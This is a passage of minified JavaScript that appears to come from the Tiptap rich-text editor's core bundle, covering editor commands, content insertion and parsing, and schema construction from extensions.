navigator<"u"&&/Win/.test(navigator.platform);function FL(t){let e=t.split(/-(?!$)/),n=e[e.length-1];n=="Space"&&(n=" ");let r,a,i,o;for(let c=0;c{for(var n in e)HL(t,n,{get:e[n],enumerable:!0})};function Af(t){const{state:e,transaction:n}=t;let{selection:r}=n,{doc:a}=n,{storedMarks:i}=n;return{...e,apply:e.apply.bind(e),applyTransaction:e.applyTransaction.bind(e),plugins:e.plugins,schema:e.schema,reconfigure:e.reconfigure.bind(e),toJSON:e.toJSON.bind(e),get storedMarks(){return i},get selection(){return r},get doc(){return a},get tr(){return r=n.selection,a=n.doc,i=n.storedMarks,n}}}var If=class{constructor(t){this.editor=t.editor,this.rawCommands=this.editor.extensionManager.commands,this.customState=t.state}get hasCustomState(){return!!this.customState}get state(){return this.customState||this.editor.state}get commands(){const{rawCommands:t,editor:e,state:n}=this,{view:r}=e,{tr:a}=n,i=this.buildProps(a);return Object.fromEntries(Object.entries(t).map(([o,c])=>[o,(...h)=>{const f=c(...h)(i);return!a.getMeta("preventDispatch")&&!this.hasCustomState&&r.dispatch(a),f}]))}get chain(){return()=>this.createChain()}get can(){return()=>this.createCan()}createChain(t,e=!0){const{rawCommands:n,editor:r,state:a}=this,{view:i}=r,o=[],c=!!t,u=t||a.tr,h=()=>(!c&&e&&!u.getMeta("preventDispatch")&&!this.hasCustomState&&i.dispatch(u),o.every(m=>m===!0)),f={...Object.fromEntries(Object.entries(n).map(([m,g])=>[m,(...N)=>{const w=this.buildProps(u,e),v=g(...N)(w);return o.push(v),f}])),run:h};return f}createCan(t){const{rawCommands:e,state:n}=this,r=!1,a=t||n.tr,i=this.buildProps(a,r);return{...Object.fromEntries(Object.entries(e).map(([c,u])=>[c,(...h)=>u(...h)({...i,dispatch:void 0})])),chain:()=>this.createChain(a,r)}}buildProps(t,e=!0){const{rawCommands:n,editor:r,state:a}=this,{view:i}=r,o={tr:t,editor:r,view:i,state:Af({state:a,transaction:t}),dispatch:e?()=>{}:void 0,chain:()=>this.createChain(t,e),can:()=>this.createCan(t),get commands(){return Object.fromEntries(Object.entries(n).map(([c,u])=>[c,(...h)=>u(...h)(o)]))}};return o}},p2={};S0(p2,{blur:()=>WL,clearContent:()=>UL,clearNodes:()=>KL,command:()=>qL,createParagraphNear:()=>GL,cut:()=>JL,deleteCurrentNode:()=>YL,deleteNode:()=>QL,deleteRange:()=>XL,deleteSelection:()=>ZL,enter:()=>e8,exitCode:()=>t8,extendMarkRange:()=>n8,first:()=>r8,focus:()=>a8,forEach:()=>i8,insertContent:()=>o8,insertContentAt:()=>d8,joinBackward:()=>f8,joinDown:()=>h8,joinForward:()=>p8,joinItemBackward:()=>m8,joinItemForward:()=>g8,joinTextblockBackward:()=>x8,joinTextblockForward:()=>y8,joinUp:()=>u8,keyboardShortcut:()=>v8,lift:()=>N8,liftEmptyBlock:()=>w8,liftListItem:()=>j8,newlineInCode:()=>k8,resetAttributes:()=>S8,scrollIntoView:()=>C8,selectAll:()=>E8,selectNodeBackward:()=>T8,selectNodeForward:()=>M8,selectParentNode:()=>A8,selectTextblockEnd:()=>I8,selectTextblockStart:()=>R8,setContent:()=>P8,setMark:()=>Z8,setMeta:()=>e6,setNode:()=>t6,setNodeSelection:()=>n6,setTextDirection:()=>r6,setTextSelection:()=>s6,sinkListItem:()=>a6,splitBlock:()=>i6,splitListItem:()=>o6,toggleList:()=>l6,toggleMark:()=>c6,toggleNode:()=>d6,toggleWrap:()=>u6,undoInputRule:()=>h6,unsetAllMarks:()=>f6,unsetMark:()=>p6,unsetTextDirection:()=>m6,updateAttributes:()=>g6,wrapIn:()=>x6,wrapInList:()=>y6});var WL=()=>({editor:t,view:e})=>(requestAnimationFrame(()=>{var n;t.isDestroyed||(e.dom.blur(),(n=window==null?void 0:window.getSelection())==null||n.removeAllRanges())}),!0),UL=(t=!0)=>({commands:e})=>e.setContent("",{emitUpdate:t}),KL=()=>({state:t,tr:e,dispatch:n})=>{const{selection:r}=e,{ranges:a}=r;return n&&a.forEach(({$from:i,$to:o})=>{t.doc.nodesBetween(i.pos,o.pos,(c,u)=>{if(c.type.isText)return;const{doc:h,mapping:f}=e,m=h.resolve(f.map(u)),g=h.resolve(f.map(u+c.nodeSize)),y=m.blockRange(g);if(!y)return;const N=$l(y);if(c.type.isTextblock){const{defaultType:w}=m.parent.contentMatchAt(m.index());e.setNodeMarkup(y.start,w)}(N||N===0)&&e.lift(y,N)})}),!0},qL=t=>e=>t(e),GL=()=>({state:t,dispatch:e})=>MS(t,e),JL=(t,e)=>({editor:n,tr:r})=>{const{state:a}=n,i=a.doc.slice(t.from,t.to);r.deleteRange(t.from,t.to);const o=r.mapping.map(e);return r.insert(o,i.content),r.setSelection(new Ze(r.doc.resolve(Math.max(o-1,0)))),!0},YL=()=>({tr:t,dispatch:e})=>{const{selection:n}=t,r=n.$anchor.node();if(r.content.size>0)return!1;const a=t.selection.$anchor;for(let i=a.depth;i>0;i-=1)if(a.node(i).type===r.type){if(e){const c=a.before(i),u=a.after(i);t.delete(c,u).scrollIntoView()}return!0}return!1};function Sn(t,e){if(typeof t=="string"){if(!e.nodes[t])throw Error(`There is no node type named '${t}'. Maybe you forgot to add the extension?`);return e.nodes[t]}return t}var QL=t=>({tr:e,state:n,dispatch:r})=>{const a=Sn(t,n.schema),i=e.selection.$anchor;for(let o=i.depth;o>0;o-=1)if(i.node(o).type===a){if(r){const u=i.before(o),h=i.after(o);e.delete(u,h).scrollIntoView()}return!0}return!1},XL=t=>({tr:e,dispatch:n})=>{const{from:r,to:a}=t;return n&&e.delete(r,a),!0},ZL=()=>({state:t,dispatch:e})=>d0(t,e),e8=()=>({commands:t})=>t.keyboardShortcut("Enter"),t8=()=>({state:t,dispatch:e})=>zO(t,e);function C0(t){return Object.prototype.toString.call(t)==="[object RegExp]"}function Eh(t,e,n={strict:!0}){const r=Object.keys(e);return r.length?r.every(a=>n.strict?e[a]===t[a]:C0(e[a])?e[a].test(t[a]):e[a]===t[a]):!0}function m2(t,e,n={}){return t.find(r=>r.type===e&&Eh(Object.fromEntries(Object.keys(n).map(a=>[a,r.attrs[a]])),n))}function uN(t,e,n={}){return!!m2(t,e,n)}function E0(t,e,n){var r;if(!t||!e)return;let a=t.parent.childAfter(t.parentOffset);if((!a.node||!a.node.marks.some(f=>f.type===e))&&(a=t.parent.childBefore(t.parentOffset)),!a.node||!a.node.marks.some(f=>f.type===e)||(n=n||((r=a.node.marks[0])==null?void 0:r.attrs),!m2([...a.node.marks],e,n)))return;let o=a.index,c=t.start()+a.offset,u=o+1,h=c+a.node.nodeSize;for(;o>0&&uN([...t.parent.child(o-1).marks],e,n);)o-=1,c-=t.parent.child(o).nodeSize;for(;u({tr:n,state:r,dispatch:a})=>{const i=Ta(t,r.schema),{doc:o,selection:c}=n,{$from:u,from:h,to:f}=c;if(a){const m=E0(u,i,e);if(m&&m.from<=h&&m.to>=f){const g=Ze.create(o,m.from,m.to);n.setSelection(g)}}return!0},r8=t=>e=>{const n=typeof t=="function"?t(e):t;for(let r=0;r({editor:n,view:r,tr:a,dispatch:i})=>{e={scrollIntoView:!0,...e};const o=()=>{(Th()||hN())&&r.dom.focus(),s8()&&!Th()&&!hN()&&r.dom.focus({preventScroll:!0}),requestAnimationFrame(()=>{n.isDestroyed||(r.focus(),e!=null&&e.scrollIntoView&&n.commands.scrollIntoView())})};try{if(r.hasFocus()&&t===null||t===!1)return!0}catch{return!1}if(i&&t===null&&!g2(n.state.selection))return o(),!0;const c=x2(a.doc,t)||n.state.selection,u=n.state.selection.eq(c);return i&&(u||a.setSelection(c),u&&a.storedMarks&&a.setStoredMarks(a.storedMarks),o()),!0},i8=(t,e)=>n=>t.every((r,a)=>e(r,{...n,index:a})),o8=(t,e)=>({tr:n,commands:r})=>r.insertContentAt({from:n.selection.from,to:n.selection.to},t,e),y2=t=>{const e=t.childNodes;for(let n=e.length-1;n>=0;n-=1){const r=e[n];r.nodeType===3&&r.nodeValue&&/^(\n\s\s|\n)$/.test(r.nodeValue)?t.removeChild(r):r.nodeType===1&&y2(r)}return t};function zu(t){if(typeof window>"u")throw new Error("[tiptap error]: there is no window object available, so this function cannot be used");const e=`${t}`,n=new window.DOMParser().parseFromString(e,"text/html").body;return y2(n)}function ld(t,e,n){if(t instanceof wa||t instanceof be)return t;n={slice:!0,parseOptions:{},...n};const r=typeof t=="object"&&t!==null,a=typeof t=="string";if(r)try{if(Array.isArray(t)&&t.length>0)return be.fromArray(t.map(c=>e.nodeFromJSON(c)));const o=e.nodeFromJSON(t);return n.errorOnInvalidContent&&o.check(),o}catch(i){if(n.errorOnInvalidContent)throw new Error("[tiptap error]: Invalid JSON content",{cause:i});return console.warn("[tiptap warn]: Invalid content.","Passed value:",t,"Error:",i),ld("",e,n)}if(a){if(n.errorOnInvalidContent){let o=!1,c="";const u=new nS({topNode:e.spec.topNode,marks:e.spec.marks,nodes:e.spec.nodes.append({__tiptap__private__unknown__catch__all__node:{content:"inline*",group:"block",parseDOM:[{tag:"*",getAttrs:h=>(o=!0,c=typeof h=="string"?h:h.outerHTML,null)}]}})});if(n.slice?pi.fromSchema(u).parseSlice(zu(t),n.parseOptions):pi.fromSchema(u).parse(zu(t),n.parseOptions),n.errorOnInvalidContent&&o)throw new Error("[tiptap error]: Invalid HTML content",{cause:new Error(`Invalid element found: ${c}`)})}const i=pi.fromSchema(e);return n.slice?i.parseSlice(zu(t),n.parseOptions).content:i.parse(zu(t),n.parseOptions)}return ld("",e,n)}function l8(t,e,n){const r=t.steps.length-1;if(r{o===0&&(o=f)}),t.setSelection(rt.near(t.doc.resolve(o),n))}var c8=t=>!("type"in t),d8=(t,e,n)=>({tr:r,dispatch:a,editor:i})=>{var o;if(a){n={parseOptions:i.options.parseOptions,updateSelection:!0,applyInputRules:!1,applyPasteRules:!1,...n};let c;const u=v=>{i.emit("contentError",{editor:i,error:v,disableCollaboration:()=>{"collaboration"in i.storage&&typeof i.storage.collaboration=="object"&&i.storage.collaboration&&(i.storage.collaboration.isDisabled=!0)}})},h={preserveWhitespace:"full",...n.parseOptions};if(!n.errorOnInvalidContent&&!i.options.enableContentCheck&&i.options.emitContentError)try{ld(e,i.schema,{parseOptions:h,errorOnInvalidContent:!0})}catch(v){u(v)}try{c=ld(e,i.schema,{parseOptions:h,errorOnInvalidContent:(o=n.errorOnInvalidContent)!=null?o:i.options.enableContentCheck})}catch(v){return u(v),!1}let{from:f,to:m}=typeof t=="number"?{from:t,to:t}:{from:t.from,to:t.to},g=!0,y=!0;if((c8(c)?c:[c]).forEach(v=>{v.check(),g=g?v.isText&&v.marks.length===0:!1,y=y?v.isBlock:!1}),f===m&&y){const{parent:v}=r.doc.resolve(f);v.isTextblock&&!v.type.spec.code&&!v.childCount&&(f-=1,m+=1)}let w;if(g){if(Array.isArray(e))w=e.map(v=>v.text||"").join("");else if(e instanceof be){let v="";e.forEach(k=>{k.text&&(v+=k.text)}),w=v}else typeof e=="object"&&e&&e.text?w=e.text:w=e;r.insertText(w,f,m)}else{w=c;const v=r.doc.resolve(f),k=v.node(),C=v.parentOffset===0,E=k.isText||k.isTextblock,T=k.content.size>0;C&&E&&T&&(f=Math.max(0,f-1)),r.replaceWith(f,m,w)}n.updateSelection&&l8(r,r.steps.length-1,-1),n.applyInputRules&&r.setMeta("applyInputRules",{from:f,text:w}),n.applyPasteRules&&r.setMeta("applyPasteRules",{from:f,text:w})}return!0},u8=()=>({state:t,dispatch:e})=>DO(t,e),h8=()=>({state:t,dispatch:e})=>LO(t,e),f8=()=>({state:t,dispatch:e})=>wS(t,e),p8=()=>({state:t,dispatch:e})=>CS(t,e),m8=()=>({state:t,dispatch:e,tr:n})=>{try{const r=kf(t.doc,t.selection.$from.pos,-1);return r==null?!1:(n.join(r,2),e&&e(n),!0)}catch{return!1}},g8=()=>({state:t,dispatch:e,tr:n})=>{try{const r=kf(t.doc,t.selection.$from.pos,1);return r==null?!1:(n.join(r,2),e&&e(n),!0)}catch{return!1}},x8=()=>({state:t,dispatch:e})=>PO(t,e),y8=()=>({state:t,dispatch:e})=>OO(t,e);function b2(){return typeof navigator<"u"?/Mac/.test(navigator.platform):!1}function b8(t){const e=t.split(/-(?!$)/);let n=e[e.length-1];n==="Space"&&(n=" ");let r,a,i,o;for(let c=0;c({editor:e,view:n,tr:r,dispatch:a})=>{const i=b8(t).split(/-(?!$)/),o=i.find(h=>!["Alt","Ctrl","Meta","Shift"].includes(h)),c=new KeyboardEvent("keydown",{key:o==="Space"?" ":o,altKey:i.includes("Alt"),ctrlKey:i.includes("Ctrl"),metaKey:i.includes("Meta"),shiftKey:i.includes("Shift"),bubbles:!0,cancelable:!0}),u=e.captureTransaction(()=>{n.someProp("handleKeyDown",h=>h(n,c))});return u==null||u.steps.forEach(h=>{const f=h.map(r.mapping);f&&a&&r.maybeStep(f)}),!0};function Ni(t,e,n={}){const{from:r,to:a,empty:i}=t.selection,o=e?Sn(e,t.schema):null,c=[];t.doc.nodesBetween(r,a,(m,g)=>{if(m.isText)return;const y=Math.max(r,g),N=Math.min(a,g+m.nodeSize);c.push({node:m,from:y,to:N})});const u=a-r,h=c.filter(m=>o?o.name===m.node.type.name:!0).filter(m=>Eh(m.node.attrs,n,{strict:!1}));return i?!!h.length:h.reduce((m,g)=>m+g.to-g.from,0)>=u}var N8=(t,e={})=>({state:n,dispatch:r})=>{const a=Sn(t,n.schema);return Ni(n,a,e)?_O(n,r):!1},w8=()=>({state:t,dispatch:e})=>AS(t,e),j8=t=>({state:e,dispatch:n})=>{const r=Sn(t,e.schema);return JO(r)(e,n)},k8=()=>({state:t,dispatch:e})=>TS(t,e);function Rf(t,e){return e.nodes[t]?"node":e.marks[t]?"mark":null}function fN(t,e){const n=typeof e=="string"?[e]:e;return Object.keys(t).reduce((r,a)=>(n.includes(a)||(r[a]=t[a]),r),{})}var S8=(t,e)=>({tr:n,state:r,dispatch:a})=>{let i=null,o=null;const c=Rf(typeof t=="string"?t:t.name,r.schema);if(!c)return!1;c==="node"&&(i=Sn(t,r.schema)),c==="mark"&&(o=Ta(t,r.schema));let u=!1;return n.selection.ranges.forEach(h=>{r.doc.nodesBetween(h.$from.pos,h.$to.pos,(f,m)=>{i&&i===f.type&&(u=!0,a&&n.setNodeMarkup(m,void 0,fN(f.attrs,e))),o&&f.marks.length&&f.marks.forEach(g=>{o===g.type&&(u=!0,a&&n.addMark(m,m+f.nodeSize,o.create(fN(g.attrs,e))))})})}),u},C8=()=>({tr:t,dispatch:e})=>(e&&t.scrollIntoView(),!0),E8=()=>({tr:t,dispatch:e})=>{if(e){const n=new Vr(t.doc);t.setSelection(n)}return!0},T8=()=>({state:t,dispatch:e})=>kS(t,e),M8=()=>({state:t,dispatch:e})=>ES(t,e),A8=()=>({state:t,dispatch:e})=>BO(t,e),I8=()=>({state:t,dispatch:e})=>WO(t,e),R8=()=>({state:t,dispatch:e})=>HO(t,e);function ix(t,e,n={},r={}){return ld(t,e,{slice:!1,parseOptions:n,errorOnInvalidContent:r.errorOnInvalidContent})}var P8=(t,{errorOnInvalidContent:e,emitUpdate:n=!0,parseOptions:r={}}={})=>({editor:a,tr:i,dispatch:o,commands:c})=>{const{doc:u}=i;if(r.preserveWhitespace!=="full"){const h=ix(t,a.schema,r,{errorOnInvalidContent:e??a.options.enableContentCheck});return o&&i.replaceWith(0,u.content.size,h).setMeta("preventUpdate",!n),!0}return o&&i.setMeta("preventUpdate",!n),c.insertContentAt({from:0,to:u.content.size},t,{parseOptions:r,errorOnInvalidContent:e??a.options.enableContentCheck})};function v2(t,e){const n=Ta(e,t.schema),{from:r,to:a,empty:i}=t.selection,o=[];i?(t.storedMarks&&o.push(...t.storedMarks),o.push(...t.selection.$head.marks())):t.doc.nodesBetween(r,a,u=>{o.push(...u.marks)});const c=o.find(u=>u.type.name===n.name);return c?{...c.attrs}:{}}function N2(t,e){const n=new l0(t);return e.forEach(r=>{r.steps.forEach(a=>{n.step(a)})}),n}function O8(t){for(let e=0;e{n(a)&&r.push({node:a,pos:i})}),r}function w2(t,e){for(let n=t.depth;n>0;n-=1){const r=t.node(n);if(e(r))return{pos:n>0?t.before(n):0,start:t.start(n),depth:n,node:r}}}function Pf(t){return e=>w2(e.$from,t)}function Ke(t,e,n){return t.config[e]===void 0&&t.parent?Ke(t.parent,e,n):typeof t.config[e]=="function"?t.config[e].bind({...n,parent:t.parent?Ke(t.parent,e,n):null}):t.config[e]}function T0(t){return t.map(e=>{const n={name:e.name,options:e.options,storage:e.storage},r=Ke(e,"addExtensions",n);return r?[e,...T0(r())]:e}).flat(10)}function M0(t,e){const n=Mo.fromSchema(e).serializeFragment(t),a=document.implementation.createHTMLDocument().createElement("div");return a.appendChild(n),a.innerHTML}function j2(t){return typeof t=="function"}function jt(t,e=void 0,...n){return j2(t)?e?t.bind(e)(...n):t(...n):t}function L8(t={}){return Object.keys(t).length===0&&t.constructor===Object}function Tl(t){const e=t.filter(a=>a.type==="extension"),n=t.filter(a=>a.type==="node"),r=t.filter(a=>a.type==="mark");return{baseExtensions:e,nodeExtensions:n,markExtensions:r}}function k2(t){const e=[],{nodeExtensions:n,markExtensions:r}=Tl(t),a=[...n,...r],i={default:null,validate:void 0,rendered:!0,renderHTML:null,parseHTML:null,keepOnSplit:!0,isRequired:!1},o=n.filter(h=>h.name!=="text").map(h=>h.name),c=r.map(h=>h.name),u=[...o,...c];return t.forEach(h=>{const f={name:h.name,options:h.options,storage:h.storage,extensions:a},m=Ke(h,"addGlobalAttributes",f);if(!m)return;m().forEach(y=>{let N;Array.isArray(y.types)?N=y.types:y.types==="*"?N=u:y.types==="nodes"?N=o:y.types==="marks"?N=c:N=[],N.forEach(w=>{Object.entries(y.attributes).forEach(([v,k])=>{e.push({type:w,name:v,attribute:{...i,...k}})})})})}),a.forEach(h=>{const f={name:h.name,options:h.options,storage:h.storage},m=Ke(h,"addAttributes",f);if(!m)return;const g=m();Object.entries(g).forEach(([y,N])=>{const w={...i,...N};typeof(w==null?void 0:w.default)=="function"&&(w.default=w.default()),w!=null&&w.isRequired&&(w==null?void 0:w.default)===void 0&&delete w.default,e.push({type:h.name,name:y,attribute:w})})}),e}function _8(t){const e=[];let n="",r=!1,a=!1,i=0;const o=t.length;for(let c=0;c0){i-=1,n+=u;continue}if(u===";"&&i===0){e.push(n),n="";continue}}n+=u}return n&&e.push(n),e}function pN(t){const e=[],n=_8(t||""),r=n.length;for(let a=0;a!!e).reduce((e,n)=>{const r={...e};return Object.entries(n).forEach(([a,i])=>{if(!r[a]){r[a]=i;return}if(a==="class"){const c=i?String(i).split(" "):[],u=r[a]?r[a].split(" "):[],h=c.filter(f=>!u.includes(f));r[a]=[...u,...h].join(" ")}else if(a==="style"){const c=new Map([...pN(r[a]),...pN(i)]);r[a]=Array.from(c.entries()).map(([u,h])=>`${u}: ${h}`).join("; ")}else r[a]=i}),r},{})}function cd(t,e){return e.filter(n=>n.type===t.type.name).filter(n=>n.attribute.rendered).map(n=>n.attribute.renderHTML?n.attribute.renderHTML(t.attrs)||{}:{[n.name]:t.attrs[n.name]}).reduce((n,r)=>St(n,r),{})}function z8(t){return typeof t!="string"?t:t.match(/^[+-]?(?:\d*\.)?\d+$/)?Number(t):t==="true"?!0:t==="false"?!1:t}function mN(t,e){return"style"in t?t:{...t,getAttrs:n=>{const r=t.getAttrs?t.getAttrs(n):t.attrs;if(r===!1)return!1;const a=e.reduce((i,o)=>{const c=o.attribute.parseHTML?o.attribute.parseHTML(n):z8(n.getAttribute(o.name));return c==null?i:{...i,[o.name]:c}},{});return{...r,...a}}}}function gN(t){return Object.fromEntries(Object.entries(t).filter(([e,n])=>e==="attrs"&&L8(n)?!1:n!=null))}function xN(t){var e,n;const r={};return!((e=t==null?void 0:t.attribute)!=null&&e.isRequired)&&"default"in((t==null?void 0:t.attribute)||{})&&(r.default=t.attribute.default),((n=t==null?void 0:t.attribute)==null?void 0:n.validate)!==void 0&&(r.validate=t.attribute.validate),[t.name,r]}function $8(t,e){var n;const r=k2(t),{nodeExtensions:a,markExtensions:i}=Tl(t),o=(n=a.find(h=>Ke(h,"topNode")))==null?void 0:n.name,c=Object.fromEntries(a.map(h=>{const f=r.filter(k=>k.type===h.name),m={name:h.name,options:h.options,storage:h.storage,editor:e},g=t.reduce((k,C)=>{const E=Ke(C,"extendNodeSchema",m);return{...k,...E?E(h):{}}},{}),y=gN({...g,content:jt(Ke(h,"content",m)),marks:jt(Ke(h,"marks",m)),group:jt(Ke(h,"group",m)),inline:jt(Ke(h,"inline",m)),atom:jt(Ke(h,"atom",m)),selectable:jt(Ke(h,"selectable",m)),draggable:jt(Ke(h,"draggable",m)),code:jt(Ke(h,"code",m)),whitespace:jt(Ke(h,"whitespace",m)),linebreakReplacement:jt(Ke(h,"linebreakReplacement",m)),defining:jt(Ke(h,"defining",m)),isolating:jt(Ke(h,"isolating",m)),attrs:Object.fromEntries(f.map(xN))}),N=jt(Ke(h,"parseHTML",m));N&&(y.parseDOM=N.map(k=>mN(k,f)));const w=Ke(h,"renderHTML",m);w&&(y.toDOM=k=>w({node:k,HTMLAttributes:cd(k,f)}));const v=Ke(h,"renderText",m);return v&&(y.toText=v),[h.name,y]})),u=Object.fromEntries(i.map(h=>{const f=r.filter(v=>v.type===h.name),m={name:h.name,options:h.options,storage:h.storage,editor:e},g=t.reduce((v,k)=>{const C=Ke(k,"extendMarkSchema",m);return{...v,...C?C(h):{}}},{}),y=gN({...g,inclusive:jt(Ke(h,"inclusive",m)),excludes:jt(Ke(h,"excludes",m)),group:jt(Ke(h,"group",m)),spanning:jt(Ke(h,"spanning",m)),code:jt(Ke(h,"code",m)),attrs:Object.fromEntries(f.map(xN))}),N=jt(Ke(h,"parseHTML",m));N&&(y.parseDOM=N.map(v=>mN(v,f)));const w=Ke(h,"renderHTML",m);return w&&(y.toDOM=v=>w({mark:v,HTMLAttributes:cd(v,f)})),[h.name,y]}));return new nS({topNode:o,nodes:c,marks:u})}function F8(t){const e=t.filter((n,r)=>t.indexOf(n)!==r);return Array.from(new Set(e))}function Wc(t){return t.sort((n,r)=>{const a=Ke(n,"priority")||100,i=Ke(r,"priority")||100;return a>i?-1:ar.name));return n.length&&console.warn(`[tiptap warn]: Duplicate extension names found: [${n.map(r=>`'${r}'`).join(", ")}]. This can lead to issues.`),e}function C2(t,e,n){const{from:r,to:a}=e,{blockSeparator:i=` -`,textSerializers:o={}}=n||{};let c="";return t.nodesBetween(r,a,(u,h,f,m)=>{var g;u.isBlock&&h>r&&(c+=i);const y=o==null?void 0:o[u.type.name];if(y)return f&&(c+=y({node:u,pos:h,parent:f,index:m,range:e})),!1;u.isText&&(c+=(g=u==null?void 0:u.text)==null?void 0:g.slice(Math.max(r,h)-h,a-h))}),c}function B8(t,e){const n={from:0,to:t.content.size};return C2(t,n,e)}function E2(t){return Object.fromEntries(Object.entries(t.nodes).filter(([,e])=>e.spec.toText).map(([e,n])=>[e,n.spec.toText]))}function V8(t,e){const n=Sn(e,t.schema),{from:r,to:a}=t.selection,i=[];t.doc.nodesBetween(r,a,c=>{i.push(c)});const o=i.reverse().find(c=>c.type.name===n.name);return o?{...o.attrs}:{}}function T2(t,e){const n=Rf(typeof e=="string"?e:e.name,t.schema);return n==="node"?V8(t,e):n==="mark"?v2(t,e):{}}function H8(t,e=JSON.stringify){const n={};return t.filter(r=>{const a=e(r);return Object.prototype.hasOwnProperty.call(n,a)?!1:n[a]=!0})}function W8(t){const e=H8(t);return e.length===1?e:e.filter((n,r)=>!e.filter((i,o)=>o!==r).some(i=>n.oldRange.from>=i.oldRange.from&&n.oldRange.to<=i.oldRange.to&&n.newRange.from>=i.newRange.from&&n.newRange.to<=i.newRange.to))}function M2(t){const{mapping:e,steps:n}=t,r=[];return e.maps.forEach((a,i)=>{const o=[];if(a.ranges.length)a.forEach((c,u)=>{o.push({from:c,to:u})});else{const{from:c,to:u}=n[i];if(c===void 0||u===void 0)return;o.push({from:c,to:u})}o.forEach(({from:c,to:u})=>{const h=e.slice(i).map(c,-1),f=e.slice(i).map(u),m=e.invert().map(h,-1),g=e.invert().map(f);r.push({oldRange:{from:m,to:g},newRange:{from:h,to:f}})})}),W8(r)}function A0(t,e,n){const r=[];return t===e?n.resolve(t).marks().forEach(a=>{const i=n.resolve(t),o=E0(i,a.type);o&&r.push({mark:a,...o})}):n.nodesBetween(t,e,(a,i)=>{!a||(a==null?void 0:a.nodeSize)===void 0||r.push(...a.marks.map(o=>({from:i,to:i+a.nodeSize,mark:o})))}),r}var U8=(t,e,n,r=20)=>{const a=t.doc.resolve(n);let i=r,o=null;for(;i>0&&o===null;){const c=a.node(i);(c==null?void 0:c.type.name)===e?o=c:i-=1}return[o,i]};function Ec(t,e){return e.nodes[t]||e.marks[t]||null}function nh(t,e,n){return Object.fromEntries(Object.entries(n).filter(([r])=>{const a=t.find(i=>i.type===e&&i.name===r);return a?a.attribute.keepOnSplit:!1}))}var K8=(t,e=500)=>{let n="";const r=t.parentOffset;return t.parent.nodesBetween(Math.max(0,r-e),r,(a,i,o,c)=>{var u,h;const f=((h=(u=a.type.spec).toText)==null?void 0:h.call(u,{node:a,pos:i,parent:o,index:c}))||a.textContent||"%leaf%";n+=a.isAtom&&!a.isText?f:f.slice(0,Math.max(0,r-i))}),n};function ox(t,e,n={}){const{empty:r,ranges:a}=t.selection,i=e?Ta(e,t.schema):null;if(r)return!!(t.storedMarks||t.selection.$from.marks()).filter(m=>i?i.name===m.type.name:!0).find(m=>Eh(m.attrs,n,{strict:!1}));let o=0;const c=[];if(a.forEach(({$from:m,$to:g})=>{const y=m.pos,N=g.pos;t.doc.nodesBetween(y,N,(w,v)=>{if(i&&w.inlineContent&&!w.type.allowsMarkType(i))return!1;if(!w.isText&&!w.marks.length)return;const k=Math.max(y,v),C=Math.min(N,v+w.nodeSize),E=C-k;o+=E,c.push(...w.marks.map(T=>({mark:T,from:k,to:C})))})}),o===0)return!1;const u=c.filter(m=>i?i.name===m.mark.type.name:!0).filter(m=>Eh(m.mark.attrs,n,{strict:!1})).reduce((m,g)=>m+g.to-g.from,0),h=c.filter(m=>i?m.mark.type!==i&&m.mark.type.excludes(i):!0).reduce((m,g)=>m+g.to-g.from,0);return(u>0?u+h:u)>=o}function q8(t,e,n={}){if(!e)return Ni(t,null,n)||ox(t,null,n);const r=Rf(e,t.schema);return r==="node"?Ni(t,e,n):r==="mark"?ox(t,e,n):!1}var G8=(t,e)=>{const{$from:n,$to:r,$anchor:a}=t.selection;if(e){const i=Pf(c=>c.type.name===e)(t.selection);if(!i)return!1;const o=t.doc.resolve(i.pos+1);return a.pos+1===o.end()}return!(r.parentOffset{const{$from:e,$to:n}=t.selection;return!(e.parentOffset>0||e.pos!==n.pos)};function yN(t,e){return Array.isArray(e)?e.some(n=>(typeof n=="string"?n:n.name)===t.name):e}function bN(t,e){const{nodeExtensions:n}=Tl(e),r=n.find(o=>o.name===t);if(!r)return!1;const a={name:r.name,options:r.options,storage:r.storage},i=jt(Ue(r,"group",a));return typeof i!="string"?!1:i.split(" ").includes("list")}function Of(t,{checkChildren:e=!0,ignoreWhitespace:n=!1}={}){var r;if(n){if(t.type.name==="hardBreak")return!0;if(t.isText)return/^\s*$/m.test((r=t.text)!=null?r:"")}if(t.isText)return!t.text;if(t.isAtom||t.isLeaf)return!1;if(t.content.childCount===0)return!0;if(e){let a=!0;return t.content.forEach(i=>{a!==!1&&(Of(i,{ignoreWhitespace:n,checkChildren:e})||(a=!1))}),a}return!1}function A2(t){return t instanceof Xe}var I2=class R2{constructor(e){this.position=e}static fromJSON(e){return new R2(e.position)}toJSON(){return{position:this.position}}};function Y8(t,e){const n=e.mapping.mapResult(t.position);return{position:new I2(n.pos),mapResult:n}}function Q8(t){return new I2(t)}function X8(t,e,n){var r;const{selection:a}=e;let i=null;if(g2(a)&&(i=a.$cursor),i){const c=(r=t.storedMarks)!=null?r:i.marks();return i.parent.type.allowsMarkType(n)&&(!!n.isInSet(c)||!c.some(h=>h.type.excludes(n)))}const{ranges:o}=a;return o.some(({$from:c,$to:u})=>{let h=c.depth===0?t.doc.inlineContent&&t.doc.type.allowsMarkType(n):!1;return t.doc.nodesBetween(c.pos,u.pos,(f,m,g)=>{if(h)return!1;if(f.isInline){const y=!g||g.type.allowsMarkType(n),N=!!n.isInSet(f.marks)||!f.marks.some(w=>w.type.excludes(n));h=y&&N}return!h}),h})}var Z8=(t,e={})=>({tr:n,state:r,dispatch:a})=>{const{selection:i}=n,{empty:o,ranges:c}=i,u=Ta(t,r.schema);if(a)if(o){const h=v2(r,u);n.addStoredMark(u.create({...h,...e}))}else c.forEach(h=>{const f=h.$from.pos,m=h.$to.pos;r.doc.nodesBetween(f,m,(g,y)=>{const N=Math.max(y,f),w=Math.min(y+g.nodeSize,m);g.marks.find(k=>k.type===u)?g.marks.forEach(k=>{u===k.type&&n.addMark(N,w,u.create({...k.attrs,...e}))}):n.addMark(N,w,u.create(e))})});return X8(r,n,u)},e6=(t,e)=>({tr:n})=>(n.setMeta(t,e),!0),t6=(t,e={})=>({state:n,dispatch:r,chain:a})=>{const i=Sn(t,n.schema);let o;return n.selection.$anchor.sameParent(n.selection.$head)&&(o=n.selection.$anchor.parent.attrs),i.isTextblock?a().command(({commands:c})=>I1(i,{...o,...e})(n)?!0:c.clearNodes()).command(({state:c})=>I1(i,{...o,...e})(c,r)).run():(console.warn('[tiptap warn]: Currently "setNode()" only supports text block nodes.'),!1)},n6=t=>({tr:e,dispatch:n})=>{if(n){const{doc:r}=e,a=io(t,0,r.content.size),i=Xe.create(r,a);e.setSelection(i)}return!0},r6=(t,e)=>({tr:n,state:r,dispatch:a})=>{const{selection:i}=r;let o,c;return typeof 